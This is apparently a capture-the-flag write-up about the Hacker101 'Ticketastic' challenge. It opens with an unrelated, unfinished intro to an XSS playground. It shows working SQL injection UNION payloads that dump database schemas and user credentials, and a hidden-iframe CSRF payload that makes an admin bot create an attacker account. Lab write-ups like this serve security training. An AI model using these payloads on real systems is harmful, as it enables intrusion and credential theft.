HackerOne CTF XSS Playground by zseano (Spoilers)

This is the first half decent looking app I've encountered this whole CTF!

The Application

Immediately I'm prompted with a little modal:

Feeling up to a challenge?

Can you find all of the XSS on this page? Use a keen eye and see if you can discover the following types of XSS:

  • 5 Reflective Cross Site Scripting
  • 3 Stored Cross Site Scripting
  • 2 DOM-Based Cross Site Scripting
  • 1 CSP-Bypass Cross Site Scripting
  • 1 use of XSS to leak "something"

Good luck! - zseano & HackerOne

Looks like this is the number of each type I'm trying to find. Great, how about a little scoreboard with ◯ and ⊙:

Reflective Cross Site Scripting: ◯ ◯ ◯ ◯ ◯
Stored Cross Site Scripting:     ◯ ◯ ◯
DOM-Based Cross Site Scripting:  ◯ ◯
CSP-Bypass Cross Site Scripting: ◯
Use of XSS to leak "something":  ◯

HackerOne CTF Ticketastic (Spoilers)

The ticketastic app is as basic as can be. The landing page is a basic welcome with some information about the product and links to other pages:

Welcome to Ticketastic

Submit a Ticket | Admin Login

Demo Instance

Before you choose to purchase Ticketastic for your organization, feel free to give this demo instance a try. All functionality is exposed, simply log in with admin/admin. If you have any problems, put in a ticket on our official instance -- only the knowledgebase bot looks at the tickets submitted here.

The product info is really interesting... "only the knowledgebase bot looks at the tickets submitted here." What does this knowledgebase bot do exactly?

Submitting a ticket is a simple HTML form without any immediate indications of a vulnerability:

Submit Ticket

Title:
Body:

The admin login page is also a simple HTML form.

Admin Login

Username:
Password:

The provided credentials of admin:admin work as advertised on the demo instance:

Admin Home

Create a new user

Pending Tickets

Granting the following cookie on success session_level7a=eyJ1c2VyIjoiYWRtaW4ifQ.GZKxFg.SxSu4EPyHqoRbRLxpVGnePh9O08.

The system appears to be backed by a database or similar system based on the ticket?id=1 in the href of the link to the example ticket. This could be vulnerable to SQL injection.

There's another form to create a user:

New User

Username:
Password:
Repeat password:

Which strangely uses a GET request instead of a POST. And a list of pending tickets at the bottom of the page:

Example Ticket

This is your ordinary, run of the mill ticket.  If any errors occurred during processing -- for instance, if the user gives a bad link -- these will be noted here.

Our Reply

No reply yet

Logging in with an invalid username is very helpful:

Invalid username

Likewise, using an incorrect password is equally informative:

Invalid password

There's an opportunity here to fuzz the production instance with appropriate word lists to find the real admin username and password.

Creating a new user test:test works, and logging in with this username and password appears to grant the same admin access since it's possible to create another user test2:test2 with these credentials.

The test user appears to have a new token session_level7a=eyJ1c2VyIjoidGVzdCJ9.GZKyDw.ibYNb72gFIDeju2mXxK11v_Dgwc. Attempting to navigate to the admin page without this session cookie without this set yields:

Not logged in

These look like JWTs:

"header" :{
  "user": "test"
}

"payload": "\u0019��\u000f"

"signature": ...

What are the chances they don't check the signature? Adding some garbage to the end of the token yields "Not logged in". These are properly signed then. What are the chances they have shared the secret for the admin JWT in the production instance?

Before hopping over to the production instance, let's revisit that ticket id. Is it vulnerable to a SQL injection?

https://*.ctf.hacker101.com/ticket?id=`
Traceback (most recent call last):
  File "./main.py", line 78, in ticket
    cur.execute('SELECT title, body, reply FROM tickets WHERE id=%s' % request.args['id'])
  File "/usr/local/lib/python2.7/site-packages/MySQLdb/cursors.py", line 255, in execute
    self.errorhandler(self, exc, value)
  File "/usr/local/lib/python2.7/site-packages/MySQLdb/connections.py", line 50, in defaulterrorhandler
    raise errorvalue
ProgrammingError: (1064, "You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1")

It sure is, and a full stacktrace as well. That's an information goldmine. What's in this database?

https://*.ctf.hacker101.com/ticket?id=1 UNION (SELECT 'tables', GROUP_CONCAT(schema_name, '\n'), '' FROM information_schema.schemata GROUP BY '1') ORDER BY 1 DESC LIMIT 1

tables

information_schema
,level7
,mysql
,performance_schema

Our Reply

No reply yet
https://*.ctf.hacker101.com/ticket?id=1 UNION (SELECT 'tables', GROUP_CONCAT(table_name, '\n'), '' FROM information_schema.tables WHERE table_schema = 'level7' GROUP BY '1') ORDER BY 1 DESC LIMIT 1

tables

tickets
,users

Our Reply

No reply yet
https://*.ctf.hacker101.com/ticket?id=1 UNION (SELECT 'columns', GROUP_CONCAT(column_name, '\n'), '' FROM information_schema.columns WHERE table_name = 'users' GROUP BY '1') ORDER BY 1 LIMIT 1

columns

id
,username
,password
,USER
,CURRENT_CONNECTIONS
,TOTAL_CONNECTIONS

Our Reply

No reply yet
https://*.ctf.hacker101.com/ticket?id=1 UNION SELECT 'username', username, password FROM users ORDER BY 1 DESC LIMIT 1; --

username

admin

Our Reply

admin

Great, it's time to check that JWT re-use across the instances.

Not logged in

Ok, that would have been too easy. This JWT might be crackable, but since they're changing with every user and instance, It would seem the key is random. I'll revisit this idea if nothing else works. The fact that we have a demo instance to work with makes me think it must be some sort of escalation from demo to prod. What about that knowledgebase bot. Could we get it to run something?

What about a CSRF? Can I submit a ticket as simple as this and trust the bot or admin will open it and create my account?

<iframe src="http://localhost/newUser?username=hacked&password=hacked&password2=hacked" style="display:none;"></iframe>

That does the trick! I can log into the production instance with hacked/hacked. The first flag is waiting in an already submitted ticket:

Flag Won't Work

I got the flag ^FLAG^473121a84f678d3780e80d8a714757768ec447311b95c8e148b286caa1ffc971$FLAG$ but the site rejects it.  Any thoughts?

Our Reply

Yeah, the correct flag is ^FLAG^****************************************************************$FLAG$.  Let me know if you have any problems!

Next, the SQL injection against the users table identified above yields the second flag:

username

admin

Our Reply

^FLAG^****************************************************************$FLAG$